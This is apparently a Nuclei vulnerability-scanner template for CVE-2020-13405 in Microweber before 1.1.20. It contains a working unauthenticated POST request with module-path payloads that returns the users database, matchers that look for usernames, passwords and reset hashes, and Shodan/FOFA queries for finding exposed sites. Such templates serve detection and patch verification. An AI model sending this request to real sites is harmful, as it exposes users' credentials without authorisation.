id: CVE-2020-13405

info:
  name: Microweber <1.1.20 - Information Disclosure
  author: ritikchaddha,amit-jd
  severity: high
  description: |
    Microweber before 1.1.20 is susceptible to information disclosure via userfiles/modules/users/controller/controller.php. An attacker can disclose the users database via a /modules/ POST request and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Upgrade Microweber to version 1.1.20 or later to mitigate the vulnerability.
  reference:
    - https://rhinosecuritylabs.com/research/microweber-database-disclosure/
    - https://github.com/microweber/microweber/commit/269320e0e0e06a1785e1a1556da769a34280b7e6
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13405
    - https://github.com/merlinepedra/RHINOECURITY-CVEs
    - https://github.com/mrnazu/CVE-2020-13405
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-13405
    cwe-id: CWE-306
    epss-score: 0.13722
    epss-percentile: 0.96021
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: microweber
    product: microweber
    shodan-query:
      - http.html:"microweber"
      - http.favicon.hash:780351152
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2020,microweber,unauth,disclosure,vuln

http:
  - raw:
      - |
        POST /module/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Referer: {{BaseURL}}admin/view:modules/load_module:users

        module={{endpoint}}

    payloads:
      endpoint:
        - "users/controller"
        - "modules/users/controller"
        - "/modules/users/controller"
    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"username")'
          - 'contains(body,"password")'
          - 'contains(body,"password_reset_hash")'
          - 'status_code==200'
          - 'contains(header,"text/html")'
        condition: and
# digest: 4b0a00483046022100cd2ac3abbb87f3e477cf9cb5cc4790ef58a67b3e4882bffaf166d2e1a9aa8909022100e8fbea5e5163887f54001f398f674b8cd082f7dbe894a65a1925b51db56efd7f:922c64590222798bb761d5b6d8e72950